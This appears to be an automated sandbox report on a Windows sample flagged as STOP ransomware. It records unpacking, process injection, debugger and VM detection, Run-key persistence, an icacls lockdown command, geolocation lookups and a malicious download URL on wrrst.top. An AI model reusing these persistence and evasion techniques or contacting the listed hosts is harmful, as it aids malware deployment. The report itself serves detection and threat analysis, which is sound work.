Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 14.2.ZZGJ1bZClw.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Unpacked PE file: 2.2.ZZGJ1bZClw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Unpacked PE file: 7.2.ZZGJ1bZClw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 8.2.ZZGJ1bZClw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 10.2.ZZGJ1bZClw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 14.2.ZZGJ1bZClw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_004029B9 push ecx; ret	1_2_004029CC
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_022120AF push ecx; retf	1_2_022120B2
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_00428565 push ecx; ret	2_2_00428578
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_004029B9 push ecx; ret	4_2_004029CC
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_021A00AF push ecx; retf	4_2_021A00B2
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0206B0AF push ecx; retf	5_2_0206B0B2
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_022A8F05 push ecx; ret	5_2_022A8F18

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 1_2_00405616 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

1_2_00405616

Source: initial sample	Static PE information: section name: .text entropy: 7.9905269597
Source: initial sample	Static PE information: section name: .text entropy: 7.9905269597

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

File created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe

Jump to dropped file

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53' /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 1_2_0221071C rdtsc

1_2_0221071C

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

2_2_0040E670

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

2_2_0040F730

Source: ZZGJ1bZClw.exe, 00000002.00000002.369437142.0000000000877000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW8
Source: ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWP
Source: ZZGJ1bZClw.exe, 00000002.00000003.365766261.00000000008E6000.00000004.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398471189.00000000005FF000.00000004.00000020.sdmp, ZZGJ1bZClw.exe, 0000000E.00000002.418251112.000000000085D000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: ZZGJ1bZClw.exe, 00000008.00000002.398471189.00000000005FF000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW,
Source: ZZGJ1bZClw.exe, 00000002.00000002.369482473.00000000008C5000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: ZZGJ1bZClw.exe, 00000002.00000002.369482473.00000000008C5000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 1_2_00403550 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_00403550

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0042A57A

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

1_2_00405616

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_00447CAC __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

2_2_00447CAC

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 1_2_0221071C rdtsc

1_2_0221071C

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_0220F0A3 push dword ptr fs:[00000030h]	1_2_0220F0A3
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_0219D0A3 push dword ptr fs:[00000030h]	4_2_0219D0A3
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_020680A3 push dword ptr fs:[00000030h]	5_2_020680A3
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_02280042 push dword ptr fs:[00000030h]	5_2_02280042

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_00403E18 SetUnhandledExceptionFilter,	1_2_00403E18
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_004076F3 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004076F3
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_00403550 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00403550
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_00404F85 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00404F85
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004329EC
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_00403E18 SetUnhandledExceptionFilter,	4_2_00403E18
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_004076F3 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004076F3
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_00403550 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00403550
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_00404F85 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00404F85

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Memory written: C:\Users\user\Desktop\ZZGJ1bZClw.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Memory written: C:\Users\user\Desktop\ZZGJ1bZClw.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Memory written: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Memory written: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Memory written: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe

5_2_02280110

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

2_2_00419F90

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe'	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart	Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: GetLocaleInfoA,	1_2_004089A2
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	2_1_0043404A
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_1_00438178
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_1_00440116
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: GetLocaleInfoA,	4_2_004089A2

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 1_2_004014BB GetSystemTime,_ftell,_fseek,

1_2_004014BB

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_0042FE47

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

2_2_00419F90

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

2_2_00419F90

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Registry Run Keys / Startup Folder1	Exploitation for Privilege Escalation1	Deobfuscate/Decode Files or Information1	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter3	Services File Permissions Weakness1	Process Injection211	Obfuscated Files or Information3	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Registry Run Keys / Startup Folder1	Software Packing22	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Services File Permissions Weakness1	Masquerading1	NTDS	System Information Discovery14	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection211	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Services File Permissions Weakness1	Cached Domain Credentials	Security Software Discovery141	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Network Configuration Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ZZGJ1bZClw.exe	36%	Virustotal		Browse
ZZGJ1bZClw.exe	85%	ReversingLabs	Win32.Ransomware.Stop
ZZGJ1bZClw.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	85%	ReversingLabs	Win32.Ransomware.Stop

Unpacked PE Files

Source	Detection	Scanner	Label	Download
14.2.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
10.2.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
7.2.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
14.1.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
10.1.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
8.1.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
2.1.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
8.2.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File
2.2.ZZGJ1bZClw.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131749	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://wrrst.top/fhsgtsspen6/get.php	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.2ip.ua	77.123.139.190	true	false		high
clientconfig.passport.net	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://wrrst.top/fhsgtsspen6/get.php	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.2ip.ua/geo.json=	ZZGJ1bZClw.exe, 00000002.00000003.362692182.00000000008DA000.00000004.00000001.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	ZZGJ1bZClw.exe, 00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.jsonrt0	ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	false		high
https://api.2ip.ua/	ZZGJ1bZClw.exe, 00000002.00000003.362635236.00000000008D0000.00000004.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000003.415619412.0000000000821000.00000004.00000001.sdmp	false		high
https://api.2ip.ua/geo.jsons	ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	false		high
https://api.2ip.ua/geo.jsonMZ	ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	false		high
https://api.2ip.ua/geo.jsonl	ZZGJ1bZClw.exe, 0000000E.00000002.416684605.000000000081B000.00000004.00000020.sdmp	false		high
https://api.2ip.ua/geo.jsonal	ZZGJ1bZClw.exe, 00000002.00000002.369437142.0000000000877000.00000004.00000020.sdmp	false		high
https://api.2ip.ua/geo.jsont:	ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	false		high
https://api.2ip.ua/7	ZZGJ1bZClw.exe, 0000000E.00000002.416652435.00000000007C8000.00000004.00000020.sdmp	false		high
http://www.openssl.org/support/faq.html	ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	false		high
https://api.2ip.ua/y	ZZGJ1bZClw.exe, 00000002.00000003.362635236.00000000008D0000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.123.139.190	api.2ip.ua	Ukraine		25229	VOLIA-ASUA	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	490787
Start date:	26.09.2021
Start time:	08:54:55
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ZZGJ1bZClw.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@18/6@6/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 65.7% (good quality ratio 63.2%) Quality average: 84.3% Quality standard deviation: 24.6%
HCA Information:	Successful, ratio: 83% Number of executed functions: 32 Number of non-executed functions: 110
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.83.121.10, 20.190.160.70, 20.190.160.7, 20.190.160.72, 20.190.160.133, 20.190.160.3, 20.190.160.5, 20.190.160.131, 20.190.160.9, 20.49.150.241, 23.54.113.45, 204.79.197.200, 13.107.21.200, 20.82.210.154, 23.54.113.53, 23.0.174.200, 23.0.174.185, 20.50.102.62, 23.10.249.43, 23.10.249.26, 23.54.113.104, 20.54.110.249, 40.112.88.60, 184.24.8.125 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, storeedgefd.xbetservices.akadns.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, cdn.onenote.net.edgekey.net, e13551.dscg.akamaiedge.net, msagfx.live.com-6.edgekey.net, e12564.dspb.akamaiedge.net, authgfx.msa.akadns6.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, cdn.onenote.net, storeedgefd.dsx.mp.microsoft.com, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, login.msa.msidentity.com, settingsfd-geo.trafficmanager.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, e1553.dspg.akamaiedge.net, e16646.dscg.akamaiedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:56:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe" --AutoStart
08:56:04	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe s>--Task
08:56:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
77.123.139.190	kI3s0EHB23.exe	Get hash	malicious	Browse
	1wiBg3rNF8.exe	Get hash	malicious	Browse
	lNGoS47gJW.exe	Get hash	malicious	Browse
	LT8x22KHHG.exe	Get hash	malicious	Browse
	HVHU71yzzA.exe	Get hash	malicious	Browse
	6Fy45hLYl0.exe	Get hash	malicious	Browse
